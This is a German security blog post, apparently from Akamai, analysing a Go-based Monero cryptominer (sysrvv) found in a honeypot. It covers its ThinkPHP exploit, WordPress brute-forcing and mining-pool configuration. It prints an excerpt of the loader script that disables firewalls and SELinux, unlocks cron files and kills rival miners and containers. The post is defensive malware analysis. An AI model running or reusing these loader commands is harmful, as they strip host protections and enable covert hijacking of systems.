Sie sind an Cloud Computing interessiert? Legen Sie jetzt los

Dark background with blue code overlay
Blog
RSS

Ein weiterer Golang-Cryptominer am Start

Larry Cashdollar

Verfasser

Larry Cashdollar

March 16, 2021

Larry Cashdollar

Verfasser

Larry Cashdollar

Larry W. Cashdollar arbeitet bereits seit über 18 Jahren als Schwachstellenforscher im Bereich Sicherheit. Aktuell ist er Mitglied des Security Incident Response-Teams bei Akamai Technologies. Er studierte Computerwissenschaften an der University of Southern Maine. Cashdollar hat mehr als 150 CVEs dokumentiert und seine Forschungsergebnisse sogar bei BSides Boston, OWASP Rhode Island und Defcon vorgestellt. Er ist Outdoor-Fan und beschäftigt sich in seiner Freizeit gern mit der Neukonstruktion von Minibike-Motoren.

Es gibt viele Varianten von Cryptomining-Malware, die Systeme im Internet infizieren. Am Freitag, 4. März 2021, bemerkte ich einen interessanten Eintrag in meinen Honeypot-Protokollen.  Die dort erfasste Binärdatei stach hervor, da sie mit 4 MB ungewöhnlich groß war.  Ich dachte sofort, es wäre ein Cryptominer, der in der Sprache „Go“ geschrieben wurde. Ich hatte recht. Dieser Miner nutzt jedoch einige neuere Exploits zur Verbreitung.

Die Malware versuchte, die ThinkPHP-Sicherheitslücke zu nutzen, um ein Skript namens „ldr.sh“ herunterzuladen und auszuführen. Das Loader-Skript lädt die sysrvv-Binärdatei herunter und deaktiviert andere Cryptominer.  Außerdem wird ein Crontab hinzugefügt, das das System alle 30 Minuten mit wget, curl oder einem php-Skript erneut infiziert, anstatt sich auf eine Methode zum Herunterladen der Binärdatei zu verlassen, die möglicherweise fehlschlägt, wenn das entsprechende Dienstprogramm nicht vorhanden ist.

Die sysrvv-Binärdatei befindet sich in einem UPX-Paket, was bedeutet, dass sie mit dem Ultimate Packer for Executables gepackt wurde, einem Prozess, bei dem eine Binärdatei komprimiert wird, aber mit dem UPX-Tool noch ausgeführt werden kann.  Dies sind die Statistiken der entpackten Datei:

  $ file sysrvv sysrvv: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped

 $ sha256sum sysrvv 47183b14ed24978643de4697abe917847831b1560256ddd76e44e918a6181fd8 sysrvv

 $ sha256sum sysrvv d3196b0b4767e86bf7e9e47722a5f733129c16f81f0ccbe5f822bdcfd778ca16 sysrvv 

Die Malware wurde vor Kurzem in Virus Totalhochgeladen.

Einige Details des Cryptomining-Pools können mit dem Befehl „strings“ extrahiert werden, einem Befehlszeilentool, das lesbare Zeichenfolgen aus einer Binärdatei extrahiert. Dies ist hilfreich bei der Verfolgung anderer Malware, die möglicherweise zum selben Mining-Pool und somit wahrscheinlich zum selben Akteur gehört. Wir können auch feststellen, dass die Malware Monero-Coins mint:

  "pools": [

 "algo": "rx/0",

 "coin": null,

 "url": "xmr-eu1.nanopool.org:14444", 

"user": 

"49dnvYkWkZNPrDj3KF8fR1BHLBfiVArU6Hu61N9gtrZWgbRptntwht5JUrXX1ZeofwPwC6fXNxPZfGjNEChXttwWE3WGURa%s", 

"pass": "x", 

"rig-id": null, 

"nicehash": false, 

"keepalive": true, 

"enabled": true, 

"tls": false, 

"tls-fingerprint": null, 

"daemon": false, 

"socks5": null, 

"self-select": null }, 

Die Malware versucht, andere Cryptominer zu deaktivieren, indem sie ihre Persistenz entfernt, und Sicherheitseinschränkungen zu lockern, indem sie SELINUX und iptables auf dem Host des Opfers deaktiviert.  Dadurch werden alle anderen vorhandenen Miner entfernt, einschließlich solcher, die sich als Docker-Images verstecken.

  if [ $(id -u) == 0 ]; then 

chattr -i /etc/ld.so.preload 

ufw disable 

iptables -F 

service iptables 

stop sysctl

 kernel.nmi_watchdog=0

 echo 0 >/proc/sys/kernel/nmi_watchdog

 echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf 

setenforce 0

 echo SELINUX=disabled > /etc/selinux/config 

sysctl -w vm.nr_hugepages=$(nproc --all) 

chattr -R -ia /var/spool/cron 

chattr -ia /etc/crontab 

chattr -R -ia /var/spool/cron/crontabs

 chattr -R -ia /etc/cron.d 

chattr -iua /tmp/ 

chattr -iua /var/tmp/

 killall log_rot 

ps aux | grep -v grep | egrep '2t3ik|qW3xT.2|ddg|./oka|postgres: .. . . /etc/ld.so.preload /etc/rc.d/init.d/kthrotlds /tmp/kthrotlds /usr/sbin/watchdogs /dev/shm/z3.sh /dev/shm/z2.sh /dev/shm/.scr /dev/shm/.kerberods /usr/bin/config.json /usr/bin/exin /usr/local/lib/libioset.so /etc/cron.d/tomcat /etc/rc.d/init.d/watchdogs docker ps | egrep 'pocosow|gakeaws|azulu|auto|xmr|mine|monero|slowhttp|bash.shell|entrypoint.sh|/var/sbin/bash' | awk '{print $1}' | xargs -I % docker kill % docker images -a | grep 'pocosow|gakeaws|buster-slim|hello-|azulu|registry|xmr|auto|mine|monero|slowhttp' | awk '{print $3}' | xargs -I % docker rmi -f % netstat -anp | egrep ':143|:2222|:3333|:3389|:4444|:5555|:6666|:6665|:6667|:7777|:8444|:3347|:14433' | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 % crontab -r 

Redress ist ein Tool zur Analyse „gestrippter“ Go-Binärdateien. Auf der Grundlage dieser Ergebnisse verfügen wir über einen Katalog von Schwachstellen, die zur Verbreitung dieser Malware verwendet werden.

Tabelle der Exploits 

Die folgenden Funktionen werden auch verwendet, um eine Brute-Force-Anmeldung zu versuchen, die auf einer Liste von Anmeldedaten basiert, die in der Malware-Binärdatei gespeichert sind. Wenn der Zugriff gewährt wird, versucht die Malware, ein Plug-in hochzuladen oder ein Theme zu bearbeiten.

   wordpress.(*wpExec).login

 wordpress.(*wpExec).exploitUploadPlugin Function to brute force login 

wordpress.(*wpExec).exploitWritableTheme 

wordpress.BruteXmlrpc 

wordpress.pwdByUsr 

Die Strings aus der Funktion in der Binärdatei zeigen eine Liste mit Anmeldeinformationen und einen curl-Befehl an, wobei der User-Agent auf „curl_brute_wordpress“ gesetzt ist.

Interessant ist, dass die Malware als User-Agent-Anfrageheader den Namen des Exploits festgelegt hat, den sie zu nutzen versucht. Dies könnte eine gute Möglichkeit sein, um festzustellen, ob Ihr System von dieser Malware angegriffen oder kompromittiert wurde.

Es scheint zusätzliche Funktionen zu geben, um JupyterLab Notebook-Anmeldedaten per Brute Force zu knacken – wie ich vermute, in einem Versuch, beliebige Befehle auf schlecht gesicherten Notebooksauszuführen.

Fazit

Die Cryptomining-Software wird sich weiterentwickeln und die neuesten Softwareschwachstellen ausnutzen.  Softwareschwachstellen wie Command Injection und Remote Code Execution werden von Cyberkriminellen weiterhin häufig verwendet, um Ihre CPU-Zyklen zu Geld zu machen. Wir wissen sicher, dass Kriminelle ihre Malware aktualisieren, um die neuesten Exploits zu nutzen. Das kann bedeuten, dass ältere Schwachstellen entweder gepatcht werden oder dass sie eine weniger zuverlässige Methode zur Kompromittierung von Systemen darstellen. Auch hier ist die beste Vorgehensweise, die Systemsoftware auf dem neuesten Stand zu halten und starke Passwörter mit Multi-Faktor-Authentifizierung zu verwenden. 



Larry Cashdollar

Verfasser

Larry Cashdollar

March 16, 2021

Larry Cashdollar

Verfasser

Larry Cashdollar

Larry W. Cashdollar arbeitet bereits seit über 18 Jahren als Schwachstellenforscher im Bereich Sicherheit. Aktuell ist er Mitglied des Security Incident Response-Teams bei Akamai Technologies. Er studierte Computerwissenschaften an der University of Southern Maine. Cashdollar hat mehr als 150 CVEs dokumentiert und seine Forschungsergebnisse sogar bei BSides Boston, OWASP Rhode Island und Defcon vorgestellt. Er ist Outdoor-Fan und beschäftigt sich in seiner Freizeit gern mit der Neukonstruktion von Minibike-Motoren.